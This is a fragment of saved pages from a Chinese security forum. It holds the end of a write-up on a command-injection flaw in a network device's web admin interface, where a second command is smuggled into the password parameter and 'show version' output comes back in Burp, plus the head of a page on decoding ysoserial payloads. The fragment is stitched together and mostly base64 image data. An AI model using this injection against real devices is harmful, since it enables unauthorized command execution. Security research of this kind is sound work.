D3pedelVkKTQNtYGgNraWjgcDvHeoPJTuwTbPsXFxV73IahfhToOqd4UcxHwHevB3KcxaceP6IHrh3fH+o+/Q1p/A7olaDByYCdotVq/z/n28Sni/7lnTHj1r99h5sRU9E+KR1VVVdBlDZU//sdg/P3waSx59Uusf3gsFAD+MGWg351TdBqVV0DW93edwhffFuPtJ26IWHkjCS87MgzTpsjKykJWVhYAtyCzbt06/Pjjj+L3qqoqvP32214fmaysLOTk5Pjcy2g0+j3vD6PRiKlTpyI/P7/RZTUajXj66ad9BC6GCZZl864GAKzZ8n9BpVv+1jF0NUSLJchI0qubHs//aRS+/rEMu44WNDodLUHOueUKL7u19oQ6kCqPpPJQVH1OpxMqlcorrSRJAWdUTMtAzyM+PjQDTIvFglWrVmH69OlIT08XMzCaudIMvDUhSVKDfZvs08xms0hDWCwWKJVKv7NHuq+/dABQVlYGSZKg0WiCGgt6vdvTh2aL8nJTeT0/8FqtBkqFQmgp/NFQO1A9go2rRhpUKncgKF/Kh/oLpSf7Q3k7ytt5/vz52LZtm9CY7dy5E3fddRcUCgWqq6sRHR0Np9MJm83m4y2bkZGBTz/9FP379xcaEboP5etwOPDWW2+hpKQEa9aswdq1a/H000+LuHOB2LlzJ4qLi6HX67F7925cc801XuUmwmVnSe1y4cIFAG5NUjB06+aOoB4ozh/1M+r7ck2lRq2GJEkiTp8c6kf++hN9MxQKhbi/PM4hpSMNnWdawLcfU9+X9x8aRyqVyu+3qiFI01pbWyvuHcq3LZS0K+7ph0qzHWfPnoVarYZSqRRxEAH3GLLZvNt34bRBGJScAJ3G3Uah1NmTYGWDiRmJUCkzMCy1s09ah8MBl8vlc6/4GCVevH8UJo3uJX4Lt0wSbPqm5O0vLS87MgzTJigoKMBTTz0llimPHz8OvV6PL774AgBw7Ngxce3q1atx1VVXYfbs2V73sFqt+J//+R8cPHjQ6/zBgwdhsViQlpaGdevWCUHMZDLhkUcewW233Yb77rsPALBo0SI89thjWLZsGfr16+e3rN988w0+/fRTrF27FlqtLine truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>因为password拼接了命令的后半部分,因此我们只需要构造一下password参数即可,使用"?"符号可以用来分割两条命令,类似Linux的管道符"||",之后再加上我们要执行的命令,Payload打造完成:</p>
|
||||
<p><img src="data:image/png;base64,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 truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>这样以来,我们直接到burp中发送payload,即可实现任意命令执行,如图burp中的返回包中已经返回了show version命令的执行结果,显示了当前设备的详细版本等信息</p>
|
||||
<p><img src="data:image/png;base64,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jMawhTxXr+bspvVnjnk6xjuzPu2m9TRLk3O0NgYVERERqccuK8rqJKxYQ2xUbfHYiOWsmrmeBTExzF8SWXuVL4So6Hii6p8UuwQwBXRrYqMwXQw03QFp+VnGMRgS2RibSlTtUrOI5fHsO0tjg8G68c/VT+ym9YABEpJIA9My/pAoouOjGr39uYiIiEh7syUuM51yrrjIsrZXSFQ0+6Is29XVnDVQf8zGY7zYJbUr3pp5DfJcczQYDFa/VhEREZE6di3mb0pKnS4WUXcHo7NfibS8XXnMgiGWtSZIZd2cOY0W809cOfOMtrEsqX+npfrzsnL8hkx331wQc7ro7PymVpqJiIiIdAC2xmUNWcZFFsctgzJilwy22OpoiFlgeUfMJvtsqTNitxa/VhEREblYGYaOHGusqToFNVXtPZdGGY1hPPxZNFEhmG7tPWMFiQZ7BVMiIiIiHcPYsWOJi4tr72lYxSI+I5YlgxvWQBMRERE5H9l1RZmIiIiIiIiIiMj5SokyERERERERERERlCgTEREREREREREBzoMaZSIiIiIXg/OpRpmIiIjIhUorykRERERERERERFCiTEREREREREREBFCiTEREREREREREBFCiTEREREREREREBFCiTEREREREREREBFCiTEREREREREREBACn9p6AiIiIdAyVExbapR/nrSvt0o+IiIjIxUyxWfvQijIRERGxWyBm775ERERELkaKzdqPEmUiIiIXudYInhSQiYiIiLSMYrP2pUSZiIiIiIiIiIgISpSJiIhIB2QwGNp7CiIiIiJS62KKzVTMX0RERCz8cfZY7r5mqNXtDxcUc/Wj0VTXGO0yvrOzM8uXL+fdd99lz549dumzufz8/OjWrZtVbQsLC8nLy2vlGYmIiMjFSrFZ28ZmSpSJiIiIhS37svDy6Iy1Fw73Zx6zWyAGUFlZSVlZGYMGDbIIxq655ho8PT1xdHSkd+/eFBQU8P3335OQkGC3sessWLCArl27WtW2qKiIJ5980u5zEBEREQHFZtC2sZkSZSIiImJh2/4ctu3Padc5pKam0rdvX4tj/fv3JzQ0lJKSEvbt20dAQADz5s3jvffeY8eOHXYdf9WqVc26aikiIiLSWhSbtW1sZrdEme/AyQz0PZ3eNBpLyNq1g4zSi2cfa30zV+1jecQZB2OXMGRBTLvMp7UE3/Q0j3X/nHtf3drgufHz32Razp956qOMdpiZiIiczw4dOsTQoUNxd3enpKTEfLyyspKVK1dSUFCAwWDg7rvvZtasWXYPxvLy8s7r7ZQN45BU1s2ZwcrEizMuGz//TaJGWL524643G41fzmcXelx25u8NAGN+Ij8eaN3/r7oFj2aEa0arjyMi0pFdTLGZXVeUlWT+zK4M0x/MLXg0I0aMARuSZUbfMCYGlbFrZyqltWsMGzvWYdVLjBmNM3k1fjkxC5OZuTKxnScmIiJydp2cHRkW4tdk0daKU1UcyDpGeWW13eeQkpKCwWCgb9++7N2713z88OHDFBQUAGA0Gtm9ezeDBw/Gy8uL48eP230e57PUdXPMMUfYwhiioz8DG5JlxpmriJ+XypwZK0isi8saOdZR1U+MGY0TmP/mXfzppsPndeLoYlQ/MWY0+jFo4iBGBJeaf4OIiFyIFJu1rVbbelmSvp8s71F4+3qQoS8uDIYYVq+bR3TENMJWJHT4YFJERC5ey26fyHUTQq1qW1Vdw+sbdrNq/U67zuHw4cOUl5c3CMaqqqosx6997OzsbNfx58yZQ0BAgFVtjxw5QnR0tF3Ht7eEFYtYFxFNxLRwVibqgp3BsJWYL6bz2IixBH+YTobisvOSwZBHZlYwI7z9cEsv7vgX0UVEWkixWdvGZm1So8xodKf3yFG4Zu2HAYPwIZ+DPySQbzDgFjyakb3ca9ud3q5Zf2n1yEnBGPMTOcigRo8NYL/FUmi34NGM8C7omKvO0pJOX4UNW8hn0VGE1D2Xus58RXbmqn0sp+GKNJYMZkGM6fywhTFEh6w5r7ZzBt/0NI9P6w6A0ZjDl8se4+MMg2mrwNRc3rp7FdsMBozGYG56+kmuObL2gtsWISLS0a35Yg/peUUYaPo7NMjXg9/NGMmR46V8sOWA3eZQU1NDenp6g1oYYjujMYyHP4smZM0SWL6cCGJZMng+MQaDKbaIqotMTm/XPL2VM4Lo+CiIXcISljd+DMtSE2ELY4iOiO2Yq86OZJuTZMbgm/jzE9PoXvc4ZwPPPP4hGQYD4+e/yVzWNliRxtq7eG2bqf25tj12VBdMXFZWYhHzn+33xenfJL9QFjSKXu6GRsvF1P8dYizJ4OCxhkM2PUbD3z0iIi2l2KxttXqirKy0GPAAwDXIl2O7NvNjqQFqk2QjvAvY+f0OSg0G07bKEeGU/pBA/oEt5BWcuc0yr8Exo68vA4LccTMeNT02uuPr7UZB1o4OlSQzhi3kuShYN2c91H64w6eFEDtnMDMTDeagNfrVJIYsiGH9pliWz+tPmNFoCipnRRIBEDkLYkzBZ2hICLGbTvfX0QXf9DSPjdjJ03c9RobBLine truncated
|
||||
</li>
|
||||
</ol>
|
||||
<h2 blockindex=9>总结复盘</h2>
|
||||
<p blockindex=10>这次命令执行审计出现的最终原因还是因为没有进行参数过滤,使得其他命令传到了后端,并且被设备执行了,但这对于渗透测试人员来说,也是一种提示,当今许多的网络设备都配有web管理端,许多开发者为了开发方便,直接写一个执行设备命令的接口,然后通过增加路由器命令来验证账号密码对错与否,虽说这种方式对于其他功能的二次开发以及整合确实省事了不少,但也导致了安全问题,我审计这个系统之后也找了其他的设备源码进行分析,发现不少设备厂商都有像这篇文章写的这样大同小异的问题,由此可知,即使是网络设备,我们也不能放过蛛丝马迹,即使执行的是设备命令或者配置命令,也会有很大的危害!</p>
|
||||
<p blockindex=11>我是小安,感谢你能看到这里,欢迎对我的文章发表评论和批评,祝你生活愉快~</p></div></div>
|
||||
</div>
|
||||
<div class="post-opt mt-30">
|
||||
<ul class="list-inline text-muted">
|
||||
<li>
|
||||
<i class="fa fa-clock-o"></i>
|
||||
发表于 2024-04-07 10:00:01
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,538 @@
|
||||
<!DOCTYPE html> <html><!--
|
||||
Page saved with SingleFile
|
||||
url: https://forum.butian.net/share/2785
|
||||
--><meta charset=utf-8>
|
||||
<meta http-equiv=X-UA-Compatible content="IE=edge">
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name=csrf-token content=VD0owLiLrat8LaN2vBAqJtnLFngrtZgXtzYM7DqG>
|
||||
<title>一种 ysoserial.jar 反序列化Payload的解码</title>
|
||||
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
|
||||
<meta name=description content="奇安信攻防社区-一种 ysoserial.jar 反序列化Payload的解码">
|
||||
<meta name=author content="QIANXIN Team">
|
||||
<meta name=copyright content="2021 QIANXIN.com">
|
||||
<style>@media(max-width:767px){}</style>
|
||||
<style>/*!
|
||||
* Bootstrap v3.4.1 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2019 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:active,a:hover{outline:0}img{border:0}textarea{color:inherit;font:inherit;margin:0}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}h2,h3{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}h3{font-size:24px}p{margin:0 0 10px}@media(min-width:768px){}ul{margin-top:0;margin-bottom:10px}@media(min-width:768px){}code{color:#c7254e}pre{display:block;margin:0 0 10px;color:#333;word-break:break-all;border:1px solid #ccc}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}.col-xs-12{width:100%}@media(min-width:768px){}@media(min-width:992px){.col-md-9{float:left}}@media(min-width:1200px){}@media screen and (max-width:767px){}@media screen and (-webkit-min-device-pixel-ratio:0){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-device-width:480px) and (orientation:landscape){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media(min-width:768px){}@media(min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}</style>
|
||||
<style>/*!
|
||||
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}</style>
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
